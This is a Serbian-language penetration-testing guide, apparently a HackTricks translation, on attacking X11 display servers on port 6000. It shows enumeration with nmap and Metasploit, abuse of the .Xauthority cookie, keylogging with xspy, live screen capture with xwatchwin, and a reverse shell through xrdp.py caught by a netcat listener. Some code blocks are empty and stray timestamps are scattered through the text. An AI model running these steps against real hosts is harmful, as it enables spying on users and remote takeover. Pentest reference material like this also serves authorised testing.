## Osnovne Informacije
**X Window System** (X) je svestrani sistem prozora koji je prisutan na UNIX baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedini programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.
2024-02-10 13:11:20 +00:00
**Podrazumevani port:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
2024-02-10 13:11:20 +00:00
## Enumeracija
Proverite **anonimnu vezu:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Lokalna enumeracija
2024-02-10 13:11:20 +00:00
Fajl **`.Xauthority`** u korisničkom folderu se **koristi** od strane **X11 za autorizaciju**. Sa [**ovde**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority

```
> MIT-magic-cookie-1: Generisanje 128 bitnog ključa ("kolačića"), čuvanje u \~/.Xauthority (ili tamo gde XAUTHORITY envvar pokazuje). Klijent ga šalje serveru čisto! server proverava da li ima kopiju ovog "kolačića" i ako ima, veza je dozvoljena. ključ se generiše pomoću DMX.
{% hint style="warning" %}
Da biste **koristili kolačić**, treba postaviti env var: **`export XAUTHORITY=/putanja/do/.Xauthority`**
{% endhint %}
#### Lokalna Sesija Nabrojavanja

## Provera konekcije
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keylogovanje
[xspy](http://tools.kali.org/sniffingspoofing/xspy) za špijuniranje unosa sa tastature.

## Snimanje ekrana
2024-02-10 13:11:20 +00:00
```bash

```
Putanja od: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
Prvo moramo pronaći ID prozora koristeći xwininfo
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0

Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0

```
**XWatchwin**
Za **live pregled** moramo koristiti
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Dobijanje ljuske
```
msf> use exploit/unix/x11/x11_keyboard_exec
```

Drugi način:
**Obrnuti Shell:** Xrdp takođe omogućava da se dobije obrnuti shell putem Netcat-a. Ukucajte sledeću komandu:
2024-02-08 21:36:35 +00:00
```bash
./xrdp.py \<IP:0> no-disp
```
U interfejsu možete videti **R-shell opciju**.
Zatim pokrenite **Netcat osluškivač** na vašem lokalnom sistemu na portu 5555.
2024-02-08 21:36:35 +00:00
```bash
nc -lvp 5555
```
Zatim, unesite svoju IP adresu i port u opciju **R-Shell** i kliknite na **R-shell** da biste dobili shell
